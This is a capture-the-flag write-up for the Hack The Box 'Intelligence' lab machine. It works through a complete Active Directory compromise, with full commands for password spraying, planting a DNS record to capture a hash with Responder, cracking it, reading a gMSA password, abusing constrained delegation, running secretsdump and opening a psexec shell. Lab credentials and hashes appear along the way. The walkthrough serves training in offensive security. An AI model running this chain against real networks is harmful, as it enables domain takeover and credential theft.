HTB: Intelligence

Kicking things off with our nmap scan we can see this is actually hosting a web page, so let's begin by adding the domain to our hosts file and heading over to that page.

Not much on the web page, but just to be sure let's run a feroxbuster directory scan on it to make sure we don't miss anything.

feroxbuster -u http://intelligence.htb/ \
  -x aspx,html,txt,pdf,config,conf,bak,zip,xml,ps1 \
  -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

While that is running let's begin enumerating Active Directory with our tools. We get a few hits here, and we can see that this box is also the domain controller.

Let's head back to the web app and download those PDFs, then run exiftool on them to see if we can pull an author name we can use as credentials.

wget http://intelligence.htb/documents/2020-12-15-upload.pdf
exiftool 2020-12-15-upload.pdf

We get a jose.williams. Let's throw that into a users.txt, and let's keep going through these PDFs. We can download them all into a folder, run a loop and collect all the intel.

exiftool -Creator -s3 *.pdf | sort -u > authors.txt
wc -l authors.txt

We get a whole lot of usernames. Let's save those into the users.txt file we have. Now let's run this by NetExec with both the usernames and the passwords set to the usernames and see if we get any hits.

nxc smb intelligence.htb -u users.txt -p users.txt --no-bruteforce --continue-on-success

We are getting no hits here, so let's head back to the documents and review what is actually inside these PDFs rather than just their metadata.

for f in *.pdf; do
  echo "=== $f ==="
  pdftotext -layout "$f" -
done > body.txt

grep -iE 'password|default|welcom|initial|corp|9876|new.?(user|hire|account)' body.txt

Found it. Searching through all the PDFs we find one that's an onboarding guide with the default credentials in it. Let's spray the users.txt file with that default password.

nxc smb intelligence.htb -u users.txt -p 'NewIntelligenceCorpUser9876' --continue-on-success

We got a hit, tiffany.molina. Let's log in and check out what she has going on.

nxc smb intelligence.htb -u tiffany.molina -p 'NewIntelligenceCorpUser9876' --shares

smbclient //intelligence.htb/Users -U 'tiffany.molina%NewIntelligenceCorpUser9876'

She has a Users share, so let's log in via smbclient and enumerate it. We grab the flag from her desktop and move on.

Heading over to that IT share from earlier we find a PowerShell script. Let's download it to our box and check out what it does.

smbclient //intelligence.htb/IT -U 'tiffany.molina%NewIntelligenceCorpUser9876'
smb: \> get downdetector.ps1

The script runs every five minutes, checking every DNS record beginning with web and sending an email to Ted.Graves. We can totally abuse this by inserting our own record and having the script authenticate to our Responder.

Any authenticated domain user can add a DNS record by default, so we will use krbrelayx.

git clone https://github.com/dirkjanm/krbrelayx.git ~/tools/krbrelayx

python3 ~/tools/krbrelayx/dnstool.py \
  -u 'intelligence.htb\Tiffany.Molina' \
  -p 'NewIntelligenceCorpUser9876' \
  -a add -r web-poe -d 10.10.14.211 -t A \
  10.129.88.41

Then we check to see if it propagated.

dig @10.129.88.41 web-poe.intelligence.htb

The first check comes back empty, so we give it a moment and wait for the script to fire on its next run. This can take up to five minutes.

sudo responder -I tun0 -w

We get the hit.

Now let's try to crack this. We use the rockyou list and it cracks easily, so now let's log in as Ted.

hashcat -m 5600 ted.hash /usr/share/wordlists/rockyou.txt

smbclient //intelligence.htb/Users -U 'Ted.Graves%Mr.Teddy'

We find not much of interest on his account, but we know this user can read a group managed service account password. Let's run NetExec with the gmsa flag and see what we can grab.

nxc ldap intelligence.htb -u Ted.Graves -p 'Mr.Teddy' --gmsa

We get an NTLM hash. Let's get ourselves a ticket and secretsdump this thing.

Well, that didn't work. We need to find out which SPN this account is actually allowed to delegate to, so let's query LDAP.

nxc ldap intelligence.htb -u Ted.Graves -p 'Mr.Teddy' \
  --query '(sAMAccountName=svc_int$)' 'msDS-AllowedToDelegateTo servicePrincipalName memberOf'

It delegates to WWW on the domain controller. That is constrained delegation with protocol transition, so we can request a ticket for that service while impersonating Administrator, then swap the service name to CIFS on the way out.

impacket-getST -spn 'WWW/dc.intelligence.htb' \
  -altservice 'cifs/dc.intelligence.htb' \
  -impersonate Administrator \
  -dc-ip 10.129.88.41 \
  -hashes ':4de450f51af61cf1e67e982965aca00c' \
  'intelligence.htb/svc_int$'

And then we use it.

export KRB5CCNAME=$(pwd)/Administrator@cifs_dc.intelligence.htb@INTELLIGENCE.HTB.ccache
klist

impacket-secretsdump -k -no-pass -dc-ip 10.129.88.41 dc.intelligence.htb

We got the hash. Let's grab a shell with Impacket.

impacket-psexec -hashes ':0054cc2f7ff3b56d9e47eb39c89b521f' Administrator@10.129.88.41

type C:\Users\Administrator\Desktop\root.txt

And we get the root flag.

This box was a little harder than usual. I learned more about service accounts and pulling tickets, and the relay to dump the NTLM hash was pretty cool.